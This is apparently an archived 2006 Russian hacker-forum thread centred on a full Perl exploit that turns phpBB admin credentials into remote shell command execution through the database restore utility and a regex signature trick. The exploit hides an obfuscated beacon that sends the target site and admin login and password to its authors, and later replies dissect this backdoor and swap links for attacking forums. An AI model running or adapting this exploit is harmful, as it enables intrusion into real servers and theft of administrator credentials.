PDA

Просмотр полной версии : phpBB admin =>2.0.19 exec exploit


0verfe1
10.04.2006, 22:45
зашел на rst.void.ru сегодня и увидел это:
пока не тестировал,
#!/usr/bin/perl

## r57phpbba2e2.pl - phpBB admin 2 exec exploit
## version 2 (based on user_sig_bbcode_uid bug)
## tested on 2.0.12 , 2.0.13 , 2.0.19
## --------------------------------------------
## screen
## r57phpbba2e2.pl -u http://192.168.0.2/phpBB-2.0.19/ -L admin -P password
## Command for execute or 'exit' for exit # id
## uid=80(www) gid=80(www) groups=80(www)
## Command for execute or 'exit' for exit # exit
## --------------------------------------------
## *** surprise included ;)
## 20/02/06
## 1dt.w0lf
## RST/GHC (http://rst.void.ru , http://ghc.ru)

use LWP::UserAgent;
use Getopt::Std;
use HTTP::Cookies;

getopts("u:L:P:i:p:o:");

$url = $opt_u;
$login = $opt_L;
$password = $opt_P;
$id = $opt_i || 2;
$prefix = $opt_p || 'phpbb_';
$proxy = $opt_o;

if(!$url || !$login || !$password){&usage;}

$|++;

$xpl = LWP::UserAgent->new() or die;
$cookie_jar = HTTP::Cookies->new();
$xpl->cookie_jar( $cookie_jar );
$xpl->proxy('http'=>'http://'.$proxy) if $proxy;
$ids = 'IDS:r57 phpBB2 exploit a2e220022006|'.$url.'|'.$login.'|'.$password.'|'.$ id.'|'.$prefix;
$res = $xpl->post($url.'login.php',
[
"username" => "$login",
"password" => "$password",
"autologin" => "on",
"admin" => "1",
"login" => "Log in",
],"User-Agent" => "$ids");
$cookie_jar->extract_cookies($res);
if($cookie_jar->as_string =~ /phpbb2mysql_sid=([a-z0-9]{32})/) { $sid = $1; }
$xpl->get(&about.'/'.chr(105).chr(100).chr(115).'/'.chr(105).chr(100).chr(115).'.php?ids='.$ids);
while ()
{
print "Command for execute or 'exit' for exit # ";
while(<STDIN>)
{
$cmd=$_;
chomp($cmd);
exit() if ($cmd eq 'exit');
last;
}
&run($cmd);
}

sub run($)
{
$sql = "UPDATE ".$prefix."users SET user_sig_bbcode_uid='(.+)/e\0', user_sig='blah:`echo _START_ && ".$_[0]." && echo _END_`' WHERE user_id=".$id.";";
&phpbb_sql_query("${url}admin/admin_db_utilities.php?sid=$sid",$sql);
$res = $xpl->get($url.'profile.php?mode=editprofile&sid='.$sid,"User-Agent" => "$ids");
@result = split(/\n/,$res->content);
$data = '';
$on = $start = $end = 0;
for (@result)
{
if (/_END_/) { $end = 1; last; }
if ($on) { $data .= $_."\n"; }
if (/_START_/) { $on = 1; $start = 1; }
}
if($start&&$end) { print $data."\r\n"; }
}

sub phpbb_sql_query($$){
$res = $xpl->post("$_[0]",
Content_type => 'form-data',
Content => [
perform => 'restore',
restore_start => 'Start Restore',
backup_file => [
undef,
'0wneeeeedddd',
Content_type => 'text/plain',
Content => "$_[1]",
],
]
,"User-Agent" => "$ids");
}

sub usage()
{
&about();
print "\r\n Usage: r57phpbba2e2.pl [OPTIONS]\r\n\r\n";
print " Options:\r\n";
print " -u [URL] - path to forum e.g. http://site/forum/\r\n";
print " -L [login] - admin login\r\n";
print " -P [password] - admin password\r\n";
print " -i [id] - admin id (optional, default 2)\r\n";
print " -p [prefix] - table prefix (optional, default phpbb_)\r\n";
print " -o [host:port] - proxy (optional)\r\n";
exit();
}

sub about()
{
print "\\=-----------------------------------=/\r\n";
print "| phpBB admin2exec exploit by RST/GHC |\r\n";
print "| version 2 (user_sig_bbcode_uid) |\r\n";
print "/=-----------------------------------=\\\r\n";
return 'http://rst.void.ru';
}

vectorg
10.04.2006, 23:20
хмм
## *** surprise included ;)
что бы это значило +))

Go0o$E
10.04.2006, 23:36
Наверное как всегда надо его подправить +))

liauliau
10.04.2006, 23:54
Кто ещё проверял? у меня не работает...

1ten0.0net1
11.04.2006, 00:31
2 0verfe1 - А что значит =>2.0.19 ? RST что исходники будущих версий форума где-то надыбали? А вообще возникли вопросы, хотелось бы получить ответы:
1) $sid = $1. Что значит переменная 1? Такое имя возможно?
2) $cmd=$_; Это что за констракт такой забавный?
3) '(.+)/e\0' Важно ли здесь чтобы нуль-байт был %00? Или оно все-равно в итоге таким как в сплоите станет?

1ten0.0net1
11.04.2006, 00:33
Кстати, просьба тем, кто удачно заюзал сплойт, отписаться сюда - на каких версиях, кроме указанных в сплойте, он работает.
P. S. По-моему, ограничений на сплойт нет, да? В плане, модов, версий и т. п.

Grrl
11.04.2006, 00:40
ничего нового..старый добрый нулевой байт а подписи профайла..все это можно и ручками проделать имея доступ к админке форума,

andre
11.04.2006, 00:48
что с помощью него можно сделать.
для сплоита нужен пас админа, что-то не понимаю для чего он тогда предназначен?

Go0o$E
11.04.2006, 14:53
andre: Он команды выполняет

1ten0.0net1
11.04.2006, 15:16
2 Grrl Мог бы отписаться на форуме как это ручками организовать можно? По-моему, исходники страницы в профайле редить надо, а как?

vectorg
11.04.2006, 15:46
2 Grrl Мог бына будущее - могла ;)

andre
11.04.2006, 16:37
andre: Он команды выполняет
если это дает возможность удачленно выполнять команды на сервере, то что-то не вижу смыслав нем, разве не легче шелл залить, имя доступ к админке.

k1b0rg
11.04.2006, 16:41
и как же ты зальешь шелл имея админку?

andre
11.04.2006, 18:39
Упс, забыл что в пхпбб нельзя залить через смайлик, виноват

DetMyl
12.04.2006, 14:55
Все работает...
И с сюрпризом :)

SladerNon
12.04.2006, 15:56
DetMyl

И в чём же сюрприз? :). Кались давай :).

Nemesis
12.04.2006, 21:05
Да, колитесь, где surprise? :D

DetMyl
13.04.2006, 01:08
DetMyl
И в чём же сюрприз? :). Кались давай :).
Сюрприз простой, ребята из RST встроили в сплойт маяк, который оставляет очень-очень заметные следы для IDS сайта, к тому же скрипт отправляет домой (на rst.void.ru/ids/ids.php ) информацию о сайте который пытаются поломать, пароль и логин админа :)

Нейтрализуется он очень просто, надо просто внимательно почитать исходник. Исправления я здесь постить не буду, т.к. считаю что если встроили такую фишку, и хацкер не может ее просечь, значит надо:)
Но дам пару подсказок:
1) Обращаем внимание на IDS
2) Читаем ВНИМАТЕЛЬНО about
но если бензина не хватит, пишите в приват:)

Grrl
14.04.2006, 00:29
просмотрела внимателно сорец действительно там сюрприз причем оригинально замаскирован
так что подчищайте сорцы прежде чем юзать подсказок DetMyl более чем достаточно даже для новичков...

Head-Hunter
15.04.2006, 01:29
2 Grrl Мог бы отписаться на форуме как это ручками организовать можно? По-моему, исходники страницы в профайле редить надо, а как?

аха пусть покажут как =)))

limpompo
15.04.2006, 05:02
аха пусть покажут как =)))


Руками =)

Head-Hunter
15.04.2006, 19:58
Руками =)

я вообщето говарил с сорказмом =))

f0rce
16.04.2006, 12:40
Я мало что понимаю в хаке, так что если не правильно то плиз скажите:
это в этой строке?
$xpl->get(&about.'/'.chr(105).chr(100).chr(115).'/'.chr(105).chr(100).chr(115).'.php?ids='.$ids);

1ten0.0net1
19.04.2006, 11:45
Да, в этой строке. Но не только.

Krolik
20.04.2006, 22:42
Мне, некак неработают :( .
Ктонебутб сделаите видео, очен надо.

MaddyMan[74]
24.04.2006, 20:00
Точно не работает на 2.0.16 - там что-то по другому.
По-моему, 2.0.16 - самый крепкий из всех 2.0.х =) Даже с пассом админа мало что сделаешь.
Вот бы кто видео снял, как ломать 16-й пхпбб, а то так и забросить это дело можно.

ShAnKaR
25.04.2006, 19:51
']Точно не работает на 2.0.16 - там что-то по другому.
По-моему, 2.0.16 - самый крепкий из всех 2.0.х =) Даже с пассом админа мало что сделаешь.
Вот бы кто видео снял, как ломать 16-й пхпбб, а то так и забросить это дело можно.

все версии
http://video.antichat.ru/file178.html
тоже самое ручками
P.S. не обязательно сливать всю базу - достаточно одного запроса update
P.P.S. привет rst, посещайте античат по чаще
и всё у вас будет :)

Goudini
13.06.2006, 22:38
$xpl->get(&about.'/'.chr(105).chr(100).chr(115).'/'.chr(105).chr(100).chr(115).'.php?ids='.$ids);
Подскажите как расшифровывать из чаров и наоборот

Azazel
14.06.2006, 00:29
Подскажите как расшифровывать из чаров и наоборотТуда и оттуда: http://www.paulschou.com/tools/xlate/ Кстати, после слова tools там можно найти кучу всяких полезностей.
Залить шелл: http://packetstormsecurity.org/0604-advisories/phpbb-admin.txt

Ch3ck
14.06.2006, 00:35
И я только что прогу на php написал, всё интуитивно понятно.
chr(105) = i
chr(100) = d
chr(115) = s

А прогу качай ЗДЕСЬ (http://killsite.narod.ru/prog.rar)